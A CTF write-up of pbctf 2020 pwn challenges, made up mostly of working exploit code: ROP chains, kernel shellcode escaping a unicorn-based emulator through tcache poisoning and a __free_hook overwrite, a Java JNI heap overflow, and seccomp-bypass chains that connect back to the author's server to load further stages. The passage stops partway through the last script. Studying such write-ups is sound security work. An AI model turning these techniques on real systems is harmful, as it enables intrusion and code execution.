pbctf 2020 had been held from December 5th 00:00 UTC for 48 hours. I played it in zer0pts and we won the CTF🎉
I mainly worked on the pwn tasks. Every pwn task was very hard (except for Amazing ROP) and there were something to learn.
I really enjoyed the CTF. Thank you perfect blue and some members from Super Guesser(?) for hosting the amazing competition!
The tasks I solved are available here: bitbucket.org
- [pwn 38pts] Amazing ROP (87 solves)
- [pwn 383pts] Pwnception (6 solves)
- [pwn 420pts] (Baby?) JHeap (4 solves)
- [pwn 420pts] Blacklist (4 solves)
- [pwn 470pts] TODO List (2 solves)
Description: Should be a baby ROP challenge. Just need to follow direction and get first flag. Server: nc maze.chal.perfect.blue 1
We're given an x86 binary and its partial source code.
$ checksec -f bof.bin RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH 162 Symbols No 0 10 bof.bin
The vulnerability is an obvious buffer overflow. Moreover, the program shows us the stack dump.
$ nc maze.chal.perfect.blue 1 Do you want color in the visualization? (Y/n) Y Legend: buff MODIFIED padding MODIFIED return addr MODIFIED secret MODIFIED CORRECT secret 0xfff3325c | 00 00 00 00 00 00 00 00 | 0xfff33264 | 00 00 00 00 00 00 00 00 | 0xfff3326c | 00 00 00 00 00 00 00 00 | 0xfff33274 | 00 00 00 00 00 00 00 00 | 0xfff3327c | ff ff ff ff ff ff ff ff | 0xfff33284 | ff ff ff ff ff ff ff ff | 0xfff3328c | ef be ad de 5c af 5a 56 | 0xfff33294 | 5c af 5a 56 a8 32 f3 ff | 0xfff3329c | 99 75 5a 56 c0 32 f3 ff | 0xfff332a4 | 00 00 00 00 00 00 00 00 | Input some text: AAAABBBBCCCCDDDD Legend: buff MODIFIED padding MODIFIED return addr MODIFIED secret MODIFIED CORRECT secret 0xfff3325c | 41 41 41 41 42 42 42 42 | 0xfff33264 | 43 43 43 43 44 44 44 44 | 0xfff3326c | 00 00 00 00 00 00 00 00 | 0xfff33274 | 00 00 00 00 00 00 00 00 | 0xfff3327c | ff ff ff ff ff ff ff ff | 0xfff33284 | ff ff ff ff ff ff ff ff | 0xfff3328c | ef be ad de 5c af 5a 56 | 0xfff33294 | 5c af 5a 56 a8 32 f3 ff | 0xfff3329c | 99 75 5a 56 c0 32 f3 ff | 0xfff332a4 | 00 00 00 00 00 00 00 00 | Maybe you haven't overflowed enough characters? Try again?
Unfortunately the binary doesn't run on my machine but I don't need to test it locally. Only few system calls are enabled.
$ seccomp-tools dump ./bof.bin line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x07 0x40000003 if (A != ARCH_I386) goto 0009 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x15 0x06 0x00 0x00000003 if (A == read) goto 0010 0004: 0x15 0x05 0x00 0x00000004 if (A == write) goto 0010 0005: 0x15 0x04 0x00 0x000000c5 if (A == fstat64) goto 0010 0006: 0x15 0x03 0x00 0x0000002d if (A == brk) goto 0010 0007: 0x15 0x02 0x00 0x00000001 if (A == exit) goto 0010 0008: 0x15 0x01 0x00 0x000000fc if (A == exit_group) goto 0010 0009: 0x06 0x00 0x00 0x80000000 return KILL_PROCESS 0010: 0x06 0x00 0x00 0x7fff0000 return ALLOW
The source code suggests that we need to cause an interruption with register values set to the correct values.
// This is what you need to do to get the first flag // void print_flag() { // asm volatile("mov $1, %%eax; mov $0x31337, %%edi; mov $0x1337, %%esi; int3" ::: "eax"); // }
Let's just write a simple ROP chain to cause the interruption.
from ptrlib import * sock = Socket("nc maze.chal.perfect.blue 1") sock.sendlineafter(") ", "Y") sock.recvuntil("ef") sock.recvuntil("de") sock.recvline() sock.recvline() l = sock.recvline().split(b" ") proc_base = int(l[5][7:9] + l[4][7:9] + l[3][7:9] + l[2][7:9], 16) - 0x1599 logger.info("proc = " + hex(proc_base)) rop_pop_eax_int3 = proc_base + 0x000013ad rop_pop_esi_edi_ebp = proc_base + 0x00001396 payload = b"A" * 0x30 + p32(0x67616c66) payload += b"A" * 0xc payload += p32(rop_pop_esi_edi_ebp) payload += p32(0x1337) payload += p32(0x31337) payload += p32(0x31337) payload += p32(rop_pop_eax_int3) payload += p32(1) payload += p32(0x12345678) sock.sendlineafter(": ", payload) sock.interactive()
First blood!
... 0xff9c0b64 | 37 13 03 00 37 13 03 00 | You did it! Congratuations! Returning to address: 0x56607396 pbctf{hmm_s0mething_l00ks_off_w1th_th1s_s3tup}
Description: I didn't trust any software to run my bf programs, so I wrote my own. But then I didn't trust the kernel to run my interpreter, so I wrote my own. But then I didn't trust anything to run my kernel, so I wrote my own. Server: nc pwnception.chal.perfect.blue 1
The attachment includes many files, 3 of them are the target files: main
, kernel
, userland
.
$ file main kernel userland main: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=42faddfd491b862cc1e4f3dbe6cc16e243165e5e, stri kernel: data userland: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped
It seems the binary is a brainf**k interpreter.
$ ./main ./kernel ./userland Kernel has booted Give me some bf (end with a !): ,.>,.>,.>,.! abc abc
Analysing the binaries, I found the following scheme:
main
uses unicorn to implement an x86-64 emulatorkernel
handles user-land segfault and interprets system calls issued by user-landuserland
actually runs the bf interpreter
So, our goal is somehow escape from user-land to outside the emulator. Crazy. Anyway, let's find our the vulnerability.
My policy on solving a pwn challenge is "avoid reversing as much as possible" because I don't like reversing. I run my fuzzer on the user-land program and immediately found a crash. According to the crash log, it seemed that the bf interpreter didn't check the boundary of the tape. The memory is allocated on the stack and we can easily run an ROP chain. User-land part is done!
code = "" code += "-[>>>>>>>>--------------------------------]" code += ">" * 0x18 code += ",>" * len(rop)
Secondly, we need to pwn the kernel. What the kernel does is really simple:
syscall_table[rax]
is called when user-land program callssyscall
instructionread
,write
,open
andexit
are implementedopen
doesn't actually open a file but just printsFILENAME cannot be opened
It was pretty easy to find out the vulnerability.
As you can see from the graph above, there lies an obvious stack overflow in open
system call.
Now, we can run a KROP in kernel-land, yay!
However, I used a bit easier (and perhaps unintended) way to pwn the kernel-land. Firstable, the address of the kernel-land stack page is fixed. So, we know where our (overflowed) input goes.
Secondly, the emulator hooks segfault handler for read, write and fetch operation in kernel-land. The permission of the stack is RW, which seems innocent at first glance.
However, there's no hook to check the permission of the memory. This makes the stack virtually executable! Since we know the address of the kernel stack, we can just run shellcode on the stack.
So, what kind of shellcode should we run on the kernel-land? Let's check the interface of emulator which interacts with the kernel.
Basically there are 3 ways the kernel can interact with the emulator:
out
instructionin
instructiono- Interruption 0x70 and 0x71
out
and in
are used to write to and read from stdio.
The curious part is the interruption handler.
As far as I (partially) analysed the emulator, it's not used anywhere.
Furthermore, the process of the handler is weird:
- If interruption number is 0x70 and
- If interruption number is 0x71 and
- If rax==0 && ptr then run
ptr = malloc(rdi)
- If rax==1 && ptr then call
uc_mem_read(uc, rdi, ptr, rsi)
- If rax==2 && ptr then call
uc_mem_write(uc, rdi, ptr, rsi)
- If rax==3 && ptr then call
free(ptr)
- If rax==0 && ptr then run
Actually I don't know what the 0x70 interruption is for (perhaps for intended solution to run KROP) but the 0x71 interruption looks like a "babyheap" challenge. The way I abused the heap is pretty simple. I leaked the pointer of libunicorn from an uninitialized heap chunk and calculated libc base in the shellcode. After that, I just used a normal tcache poisoning tech by heap overflow.
This is my final exploit.
from ptrlib import * remote = True if remote: sock = Socket("nc pwnception.chal.perfect.blue 1") else: sock = Socket("localhost", 1337) rop_ret = 0x00400122 rop_pop_rax = 0x00400121 rop_pop_rbx = 0x004008f4 rop_pop_r13 = 0x00400af7 rop_pop_rbp = 0x004001c8 rop_syscall = 0x00400cf2 rop_add_rsp_8 = 0x00400c45 rop_mov_rsi_rbx_call_r13 = 0x004008c0 rop_mov_edi_601068_jmp_rax = 0x004001bc rop_mov_edi_ebp_mov_rdx_r12_mov_rsi_rbx_call_r13 = 0x004008bb rop_mov_edx_ecx_mov_r10_r8_mov_r8_r9_mov_r9_prsp8_syscall = 0x00400d18 func_readline = 0x400295 func_printf = 0x40026e rop = flat([ rop_pop_r13, rop_add_rsp_8, rop_pop_rbx, 0x200, rop_mov_rsi_rbx_call_r13, rop_pop_rax, func_readline, rop_mov_edi_601068_jmp_rax, rop_pop_rbx, 0, rop_mov_rsi_rbx_call_r13, rop_pop_rax, rop_ret, rop_mov_edi_601068_jmp_rax, rop_pop_rax, 2, rop_syscall, 0xffffffffdeadbeef ], map=p64) stager = nasm(f""" mov r13, rsi mov r12, rsp sub sp, 0x810 ; read(0, rsp-0x810, 0x800) xor ecx, ecx inc ecx shl ecx, 11 mov rdi, rsp mov rdx, rsi rep insb ; goto rsp-0x810 mov rdi, rsp jmp rdi """, bits=64) assert b'\x00' not in stager and b'!' not in stager assert len(stager) < 0x48 kernel_rop = b'\x90' * (0x48 - len(stager)) kernel_rop += stager kernel_rop += p64(0xFFFF8801FFFFE000 - 0x50) kernel_rop += b'!' code = "" code += "-[>>>>>>>>--------------------------------]" code += ">" * 0x18 code += ",>" * len(rop) sock.sendafter(": ", code + "!") sock.send(rop) sock.send(kernel_rop) sock.recvline() if remote or not remote: libc = ELF("libc.so.6") libu = ELF("libunicorn.so.1") helper_write_eflags = libu.symbol("helper_cc_compute_all") else: libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so") libu = ELF("/usr/lib/libunicorn.so.1") helper_write_eflags = libu.symbol("helper_write_eflags") target = libc.symbol("__free_hook") - 8 offset = helper_write_eflags + 0x610000 offset2 = libc.symbol("system") """ break *(0x555555554000 + 0x1b0d) # malloc break *(0x555555554000 + 0x1b3b) # read break *(0x555555554000 + 0x1b58) # write break *(0x555555554000 + 0x1bab) # free """ shellcode = nasm(f""" ; ptr = malloc(0xc8) xor eax, eax xor edi, edi mov dil, 0xc8 int 0x71 ; memcpy(stack, ptr, 0x20) mov rdi, r12 xor esi, esi mov sil, 0x20 mov al, 2 int 0x71 ; free(ptr) mov al, 3 int 0x71 ; tcache poisoning xor edx, edx mov dl, {offset >> 16} shl edx, 16 mov dx, {offset & 0xffff} sub [r12 + 0x18], rdx mov rdx, [r12 + 0x18] xor ebx, ebx mov bx, 0xfff not rbx and rdx, rbx mov [r12], rdx mov [r12 + 0x18], rdx ; nya-libc xor edx, edx mov dl, {target >> 16} shl edx, 8 mov dl, {(target >> 8) & 0xff} shl edx, 8 mov dl, {target & 0xff} add [r12], rdx ; memcpy(ptr, stack, 0x20) mov rdi, r12 xor esi, esi mov sil, 0x20 mov al, 1 int 0x71 ; ptr = malloc(0xc8) xor eax, eax xor edi, edi mov dil, 0xc8 int 0x71 ; ptr = malloc(0xc8) int 0x71 ; overwrite __free_hook xor edx, edx mov [r12], rdx mov dl, 's' mov [r12], dl mov dl, 'h' mov [r12+1], dl mov rdx, [r12 + 0x18] mov [r12 + 0x8], rdx xor edx, edx mov dl, {offset2 >> 16} shl edx, 8 mov dl, {(offset2 >> 8) & 0xff} shl edx, 8 mov dl, {offset2 & 0xff} add [r12 + 0x8], rdx ; memcpy(ptr, stack, 0x10) mov rdi, r12 xor esi, esi mov sil, 0x10 mov al, 1 int 0x71 ; free(ptr) xor eax, eax mov al, 3 int 0x71 hlt """, bits=64) shellcode += b'\x90' * (0x800 - len(shellcode)) sock.send(shellcode) sock.interactive()
Yay!
$ python solve.py [+] __init__: Successfully connected to pwnception.chal.perfect.blue:1 [ptrlib]$ id [ptrlib]$ uid=999(ctf) gid=999(ctf) groups=999(ctf) cat /flag.txt [ptrlib]$ pbctf{pwn1n6_fr0m_th3_b0770m_t0_th3_t0p}
Description: i'm a noob at Java Pwning... couldn't evn pwnz this simple Java chal from Google CTF :(. Maybe you can help take a look at this, lolz :P Server: nc jheap.chal.perfect.blue 1
Java pwn... what? I'd never pwned java app but this one was a very good introduction to Java heap.
The program looks like a simple note service. Let's find the vulnerability.
Inside the static constructor of the JHeap class, it randomizes the heap. (Java doesn't randomize its heap region!)
static { System.load(System.getProperty("java.home") + "/lib/libheap.so"); for (int i = 0; i < 100; i++) spray.add(new char[(int)(Math.random() * 1337)]); for (int i = 0; i < arr.length; i++) arr[i] = new JHeap(i); for (int i = 0; i < 100; i++) spray.add(new char[(int)(Math.random() * 1337)]); }
Each JHeap instance is managed like this:
public static void edit(int ind) { arr[ind].editThis(0x1337); } public static void delete(int ind) { arr[ind] = null; } public static void view(int ind) { arr[ind].viewThis(); } public static void leak(int ind) { arr[ind].flag = the_flag; }
The program of editThis
method is written in JNI.
printf("Offset: "); fflush(stdout); readlen = read(0, numbuff, sizeof(numbuff) - 1); if (readlen <= 0) err(1, "read() failed"); ...... if (copied) errx(1, "Error! This was copied!"); from_utf(tmp, readlen, data + offset * 2, readlen * 2 + 2); free(tmp); (*env)->ReleasePrimitiveArrayCritical(env, arr_data, data, 0); }
I fuzzed the program and found it has a simple buffer overflow. This seems to be caused by the wrong conversion between UTF-8 and Unicode.
The structure of JHeap
looks like this:
typedef struct { long X; int Y = class_id; int ind; String flag; char[] data; } JHeap;
JHeap instance and it's data are lined up on memory in order and we can overwrite the adjacent JHeap instance.
We have to make the pointer of data
valid but we don't have any addresses yet.
My idea of the exploit is
- Spray fake
char[]
instances on heap - Use the vuln to overwrite
JHeap.data
and make it point to one of the sprayed fakechar[]
instance - View the victim data and it'll leak the memory (possibly including the address of the flag!)
- Use the vuln again to set
JHeap.data
to the pointer of the flag
Be noticed that the type of the flag is not char[]
but String
.
We can solve this easily because String
eventually has a pointer to char[]
, which exists at very close and fixed offset.
from ptrlib import * import random def edit(index, offset, data): sock.sendlineafter("> ", "0") sock.sendlineafter(": ", str(index)) sock.sendlineafter(": ", str(offset)) sock.sendafter(": ", data) def view(index): sock.sendlineafter("> ", "1") sock.sendlineafter(": ", str(index)) sock.recvline() sock.recvuntil(" = ") return sock.recvuntil("********")[:-9] def leak(index): sock.sendlineafter("> ", "2") sock.sendlineafter(": ", str(index)) def subaction(action): sock.sendlineafter("> ", "3") sock.sendlineafter(": ", str(action)) def addrof(index): sock.sendlineafter("> ", "4") sock.sendlineafter(": ", str(index)) r = sock.recvregex("\((0x[0-9a-f]+)\) = char\[\] @ (0x[0-9a-f]+)") return int(r[0], 16), int(r[1], 16) def utf8bytes(data): output = b'' s = data.decode() for c in s: output += bytes([ord(c) % 0x100]) output += bytes([ord(c) // 0x100]) return output sock = Socket("nc jheap.chal.perfect.blue 1") logger.info("Collecting size info...") sizelist = [] for i in range(48): sizelist.append(len(view(i))) logger.info("Heap spary...") base = u"\u0001\u0000\u0000\u0000" base += u"\u73f6\u0005\u0f1f\u0000" base = base.encode() for i in range(1, 48): payload = base * (sizelist[i] // len(base) - 1) payload += b"A" * (sizelist[i] - len(payload)) edit(i, 0, payload) leak(i) logger.info("Heap overflow") pads = [0, -3, -2, -1] for offset in range(0, 0x30000, 0x100): logger.info("Attempt @" + hex(0xffe5c820 + offset)) payload = u"A" * (sizelist[0] - 0x40 - pads[sizelist[0] % 4]) payload += u"\u0005\u0000\u0000\u0000" payload += u"\u0829\u0000\u1234\u0000" payload += u"\u1234\u1234" payload += chr(0xc820 + (offset%0x10000)) + chr(0xffe5 + (offset//0x1000)) try: edit(0, 0x20, payload.encode()) except: continue if view(1) != b'': break payload = u"A" * (sizelist[0] - 0x40 - pads[sizelist[0] % 4]) payload += u"\u0005\u0000\u0000\u0000" payload += u"\u0829\u0000\u1234\u0000" payload += u"\u1234\u1234" payload += chr(0xc828 + (offset%0x10000)) + chr(0xffe5 + (offset//0x1000)) try: edit(0, 0x20, payload.encode()) except: continue if view(1) != b'': break buf = utf8bytes(view(1)) for pos in range(0, len(buf), 8): if u64(buf[pos:pos+8]) == 5: index = u32(buf[pos+0xc:pos+0x10]) flag = u32(buf[pos+0x10:pos+0x14]) data = u32(buf[pos+0x14:pos+0x18]) break else: logger.warn("Bad luck!") exit(1) logger.info("==== FOUND VICTIM ====") logger.info("index = " + hex(index)) logger.info("flag = " + hex(flag)) logger.info("data = " + hex(data)) addr_flag = flag + 0x18 payload = u"B" * (sizelist[index-1] - 0x40 - pads[sizelist[index-1] % 4]) payload += u"\u0005\u0000\u0000\u0000" payload += u"\u0829\u0000\u4321\u0000" payload += u"\u1234\u1234" payload += chr(addr_flag % 0x10000) + chr(addr_flag // 0x10000) edit(index-1, 0x20, payload.encode()) print(utf8bytes(view(index))) sock.interactive()
First blood!
$ python hoge.py [+] __init__: Successfully connected to jheap.chal.perfect.blue:1 [+] <module>: Collecting size info... [+] <module>: Heap spary... [+] <module>: Heap overflow [+] <module>: Attempt @0xffe5c820 [+] <module>: ==== FOUND VICTIM ==== [+] <module>: index = 0x2b [+] <module>: flag = 0xffe8fdc8 [+] <module>: data = 0xffe5cc78 b'pbctf{Java_pwnn1ng_1s_s00000_baby_right???:P_ab3vtv9fGH}\x05\x00\x00\x00\x00\x00\x00\x00\x15N\x04\x00@\xfe\xe8\xff\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x009s\x05\x00\x13\x00\x00\x00java/io/PrintStr'
Description: Last time, we were just kidding, about that program being unexploitable. This time we are 100% serious: it's totally safe because seccomp(TM) is(TM) SO(TM) secure(TM)! Anyways, I hid the flag in some random file under /flag_dir. I'll even give you our docker environment (sans flag, of course) to help you test out your exploit (of course totally, you'll soon find that the flag is so secure!) I am soooo generous! Server: nc blacklist.chal.perfect.blue 1
The target program is really simple:
#include <fcntl.h> #include <unistd.h> #include <sys/prctl.h> #include <sys/socket.h> #include <linux/bpf_common.h> #include <linux/seccomp.h> #include <linux/audit.h> void sandbox_so_you_cannot_shellcode(void); int vuln() { char buff[8]; read(0, buff, 100); shutdown(0, SHUT_RDWR); close(0); close(1); close(2); } int main() { sandbox_so_you_cannot_shellcode(); vuln(); }
This is a 32-bit application and seccomp is enabled. Most of the system calls are banned but some of them are available.
The goal of this challenge is to find out the path of the flag located somewhere under /flag_dir
.
Luckily open
, read
, write
and readdir
are available.
However, we have some problems:
- ROP chain must be less than or equals to 86 bytes
shutdown(0, 2); close(0); close(1); close(2);
before ROP runs- The buffer address for
open
,read
,write
andreaddir
must be larger than 0x30000000
In order to resolve (1), we need to inject 2nd stage. However (2) prevents us from sending data again.
I listed up all of the available system calls.
restart_syscall exit read / write / open / close time / stime / utime chmod / lchown / fchmod / fchown / mount / umount / umount2 / chroot setuid / getuid / setgid / geteuid / getegid / setreuid / setregid / getgroups / setgroups gtty dup / dup2 pipe acct mpx ustat getppid / getpgrp sethostname setrlimit / getrlimit / getrusage gettimeofday / settimeofday swapon / swapoff readdir getpriority / setpriority socketcall syslog setitimer / getitimer olduname iopl vhangup idle vm86old sysinfo
If you're familiar with linux system call, you'll immediately notice that socketcall
is useful.
(I happened to know this system call thanks to my university class!)
This system call is an interface to most of the other socket-related system call.
So, we can connect to our server and inject back the 2nd ROP stage.
Now, the hardest part of this challenge is to craft a small (less than 86 bytes!) ROP chain that connects to our server and reads 2nd ROP chain.
My idea is to re-use a structure in memory which is similar to our desired ones.
For example, assume you want to connect to 127.0.0.1
.
struct sockaddr addr = { 0 }; addr.sin_family = AF_INET; addr.sin_port = XXXX; addr.sin_addr.s_addr = YYYY; unsigned long *args = { fd, addr, 0x10 }; socketcall(SYS_CONNECT, args);
Then, you need to prepare an array and a struct:
[fd, addr, 0x10]
==0x00000000 0xXXXXXXX 0x00000010
{ sin_family = AF_INET, sin_port = XXXX, sin_addr.s_addr = YYYY }
==0xXXXX0002 0xYYYYYYYY 0x00000000 0x00000000
I used gdb to find such structures in memory.
To conclude, I used the following addresses for connect
, client address, socket
, and 2 recv
s respectively.
arg_connect = 0x80dafc8 mem_client = 0x80da7ca arg_socket = 0x80d9c18 arg_recv = 0x80dace8 arg_recv2 = 0x80dbbba
Each of them looks like this on memory:
pwndbg> x/3xw 0x80dafc8 # fd=0, addr=?, len=0x10 0x80dafc8 <_dl_main_map+552>: 0x00000000 0x080d86e0 0x00000010 pwndbg> x/4xw 0x80da7ca # sin_family=AF_INET, sin_port=512, ip=? 0x80da7ca <mp_+10>: 0x00020002 0x00000000 0x00000000 0x00000000 pwndbg> x/3xw 0x80d9c18 # domain=AF_INET, type=SOCK_STREAM, protocol=0 0x80d9c18 <tunable_list+664>: 0x00000002 0x00000001 0x00000000 pwndbg> x/3xw 0x80dace8 # sockfd=3, addr=?, addrlen=0x1000 0x80dace8 <_dl_correct_cache_id>: 0x00000003 0x00000002 0x00001000 pwndbg> x/3xw 0x80dbbba # sockfd=0, addr=?, addrlen=0xffe3 0x80dbbba <state+2>: 0x00000000 0x2efc0000 0x0000ffe3
This is the payload used to connect back to my server in the first stage. (Just 100 bytes!)
payload = b'A' * 0x10 payload += p32(0x4101a8c0) payload += p32(rop_pop_ecx_ebx) payload += p32(arg_socket) payload += p32(1) payload += p32(rop_pop_eax) payload += p32(SYS_socketcall) payload += p32(rop_int80) payload += p32(rop_pop_edx) payload += p32(mem_client + 4 - 0xc) payload += p32(rop_mov_pedx0Ch_ebp_mov_pedx18h_eax) payload += p32(rop_pop_eax) payload += p32(mem_client) payload += p32(rop_pop_edx_ecx_ebx) payload += p32(arg_connect + 4) payload += p32(arg_connect) payload += p32(3) payload += p32(rop_mov_pedx_eax) payload += p32(rop_pop_eax) payload += p32(SYS_socketcall) payload += p32(rop_int80) payload += p32(addr_vuln)
Since the fd opened by SYS_SOCKET
becomes 0, we can re-use the vuln
fucntion (which originally tries to read input from stdin.)
Then, I bind a port in my server and wait for the connection.
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind(('0.0.0.0', 512)) """ STAGE 2: re-connect me """ payload = b'A' * 0x10 payload += p32(addr_stage3) ...
This time, all the necessary structs (such as IP address) are already prepared on the memory.
So, unlike the first payload, we don't need to prepare arguments for socket.
Be noticed that we still have to re-connect back to our server since close(0)
is called at the end of vuln
function.
This way, we can grow our ROP chain and finally can inject a payload long enough to find the flag.
The last part, finding the flag, is just troublesome but pretty easy, so I'm not going to explain about the ROP.
Basically I wrote two exploits for ls
and cat
, and combined them to create grep
.
This easy method is pretty slow compared to an ROP chain recursively finding the flag but mine did work within about 10min.
Here is my final exploit.
- Igniter (run this script forever)
from ptrlib import * remote = True SYS_socketcall = 0x66 rop_int80 = 0x0806fa30 arg_connect = 0x80dafc8 mem_client = 0x80da7ca arg_socket = 0x80d9c18 addr_vuln = 0x8048920 rop_pop_eax = 0x080a8dc6 rop_pop_ebx = 0x080481c9 rop_pop_edx = 0x0805c422 rop_pop_esi = 0x08049748 rop_pop_ebx_edx = 0x0806f0eb rop_pop_ecx_ebx = 0x0806f112 rop_pop_edx_ecx_ebx = 0x0806f111 """ 0x0809026e: mov ecx, dword [edx+0x24] ; cmp ecx, dword [edx+0x28] ; cmove eax, ecx ; ret ; (1 found) """ rop_mov_pedx_eax = 0x08056e25 rop_mov_pebx_eax = 0x080a62e6 rop_mov_peax_edx = 0x0809d344 rop_mov_pedx0Ch_ebp_mov_pedx18h_eax = 0x0804e3a0 if remote: sock = Socket("nc blacklist.chal.perfect.blue 1") else: sock = Process("./blacklist") """ STAGAE 1: connect to my server """ payload = b'A' * 0x10 if remote: payload += p32(0x????????) else: payload += p32(0x4101a8c0) payload += p32(rop_pop_ecx_ebx) payload += p32(arg_socket) payload += p32(1) payload += p32(rop_pop_eax) payload += p32(SYS_socketcall) payload += p32(rop_int80) payload += p32(rop_pop_edx) payload += p32(mem_client + 4 - 0xc) payload += p32(rop_mov_pedx0Ch_ebp_mov_pedx18h_eax) payload += p32(rop_pop_eax) payload += p32(mem_client) payload += p32(rop_pop_edx_ecx_ebx) payload += p32(arg_connect + 4) payload += p32(arg_connect) payload += p32(3) payload += p32(rop_mov_pedx_eax) payload += p32(rop_pop_eax) payload += p32(SYS_socketcall) payload += p32(rop_int80) payload += p32(addr_vuln) sock.send(payload) sock.close()
- ls
import socket import time import threading import sys if len(sys.argv) < 2: print("Usage: python3 ls.py <PATH>") exit(1) else: TARGET = sys.argv[1].encode() + b'\x00' def p32(data, byteorder='little', signed=False): return data.to_bytes(4, byteorder=byteorder, signed=signed) SYS_write = 4 SYS_dup2 = 63 SYS_socketcall = 0x66 rop_int80 = 0x0806fa30 arg_connect = 0x80dafc8 mem_client = 0x80da7ca arg_socket = 0x80d9c18 arg_recv = 0x80dace8 arg_recv2 = 0x80dbbba addr_vuln = 0x8048920 addr_stage3 = 0x80d8000 addr_dup = 0x806d360 addr_path = addr_stage3 + 0x1000 addr_write = 0x806d000 libc_stack_end = 0x80d9da8 rop_pop_eax = 0x080a8dc6 rop_pop_ebx = 0x080481c9 rop_pop_edx = 0x0805c422 rop_pop_esi = 0x08049748 rop_pop_ebx_edx = 0x0806f0eb rop_pop_ecx_ebx = 0x0806f112 rop_pop_edx_ecx_ebx = 0x0806f111 rop_pop_eax_edx_ebx = 0x080562f4 rop_leave = 0x080487b5 rop_mov_pedx_eax = 0x08056e25 rop_mov_pebx_eax = 0x080a62e6 rop_mov_peax_edx = 0x0809d344 rop_mov_pedx0Ch_ebp_mov_pedx18h_eax = 0x0804e3a0 rop_mov_ecx_pedx24h_cmp_ecx_pedx28h_cmove_eax_ecx = 0x0809026e jmp_p_ebx_eax4_1080h = 0x0808c242 def receiver(s): conn, addr = s.accept() conn.send(TARGET) for i in range(40): data = conn.recv(0x40) size = int.from_bytes(data[8:10], 'little') print(data[10:10+size].decode()) conn.close() with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind(('0.0.0.0', 512)) """ STAGE 2: re-connect me """ payload = b'A' * 0x10 payload += p32(addr_stage3) payload += p32(rop_pop_ecx_ebx) payload += p32(arg_socket) payload += p32(1) payload += p32(rop_pop_eax) payload += p32(SYS_socketcall) payload += p32(rop_int80) payload += p32(rop_pop_ecx_ebx) payload += p32(arg_connect) payload += p32(3) payload += p32(rop_pop_eax) payload += p32(SYS_socketcall) payload += p32(rop_int80) payload += p32(rop_pop_ecx_ebx) payload += p32(3) payload += p32(0) payload += p32(rop_pop_eax) payload += p32(SYS_dup2) payload += p32(rop_int80) payload += p32(addr_vuln) payload += b'A' * (100 - len(payload)) s.listen(1) conn, addr = s.accept() conn.send(payload) conn.close() """ STAGE 3: receive large rop """ s.listen(2) th = threading.Thread(target=receiver, args=(s,)) conn, addr = s.accept() th.start() payload = b'A' * 0x10 payload += p32(addr_stage3) payload += p32(rop_pop_eax) payload += p32(addr_stage3) payload += p32(rop_pop_edx_ecx_ebx) payload += p32(arg_recv + 4) payload += p32(arg_recv) payload += p32(10) payload += p32(rop_mov_pedx_eax) payload += p32(rop_pop_eax) payload += p32(SYS_socketcall) payload += p32(rop_int80) payload += p32(rop_leave) payload += b'A' * (100 - len(payload)) """ STAGE 4: THE ROP CHAIN """ payload += p32(0xdeadbeef) payload += p32(rop_pop_ecx_ebx) payload += p32(arg_socket) payload += p32(1) payload += p32(rop_pop_eax) payload += p32(SYS_socketcall) payload += p32(rop_int80) payload += p32(rop_pop_ecx_ebx) payload += p32(arg_connect) payload += p32(3) payload += p32(rop_pop_eax) payload += p32(SYS_socketcall) payload += p32(rop_int80) payload += p32(rop_pop_eax) payload += p32(addr_path) payload += p32(rop_pop_edx_ecx_ebx) payload += p32(arg_recv2 + 4) payload += p32(arg_recv2) payload += p32(10) payload += p32(rop_mov_pedx_eax) payload += p32(rop_pop_eax) payload += p32(SYS_socketcall) payload += p32(rop_int80) payload += p32(rop_pop_edx_ecx_ebx) payload += p32(0) + p32(0) + p32(addr_path) payload += p32(rop_pop_eax) payload += p32(5) payload += p32(rop_int80) for i in range(40): payload += p32(rop_pop_edx) payload += p32(libc_stack_end - 0x24) payload += p32(rop_mov_ecx_pedx24h_cmp_ecx_pedx28h_cmove_eax_ecx) payload += p32(rop_pop_ebx_edx) payload += p32(1) + p32(0) payload += p32(rop_pop_eax) payload += p32(89) payload += p32(rop_int80) payload += p32(rop_pop_ebx_edx) payload += p32(0) + p32(0x40) payload += p32(rop_pop_eax) payload += p32(4) payload += p32(rop_int80) payload += p32(rop_pop_ebx) payload += p32(1) payload += p32(rop_pop_eax) payload += p32(6) payload += p32(rop_int80) payload += p32(0xdeadbeef) payload += b'A' * (0x1000 - len(payload)) conn.send(payload) conn.close() th.join()
- cat
import socket import time import threading import sys if len(sys.argv) < 2: print("Usage: python3 ls.py <PATH>") exit(1) else: TARGET = sys.argv[1].encode() + b'\x00' def p32(data, byteorder='little', signed=False): return data.to_bytes(4, byteorder=byteorder, signed=signed) SYS_write = 4 SYS_dup2 = 63 SYS_socketcall = 0x66 rop_int80 = 0x0806fa30 arg_connect = 0x80dafc8 mem_client = 0x80da7ca arg_socket = 0x80d9c18 arg_recv = 0x80dace8 arg_recv2 = 0x80dbbba addr_vuln = 0x8048920 addr_stage3 = 0x80d8000 addr_dup = 0x806d360 addr_path = addr_stage3 + 0x1000 addr_write = 0x806d000 libc_stack_end = 0x80d9da8 rop_pop_eax = 0x080a8dc6 rop_pop_ebx = 0x080481c9 rop_pop_edx = 0x0805c422 rop_pop_esi = 0x08049748 rop_pop_ebx_edx = 0x0806f0eb rop_pop_ecx_ebx = 0x0806f112 rop_pop_edx_ecx_ebx = 0x0806f111 rop_pop_eax_edx_ebx = 0x080562f4 rop_leave = 0x080487b5 rop_mov_pedx_eax = 0x08056e25 rop_mov_pebx_eax = 0x080a62e6 rop_mov_peax_edx = 0x0809d344 rop_mov_pedx0Ch_ebp_mov_pedx18h_eax = 0x0804e3a0 rop_mov_ecx_pedx24h_cmp_ecx_pedx28h_cmove_eax_ecx = 0x0809026e 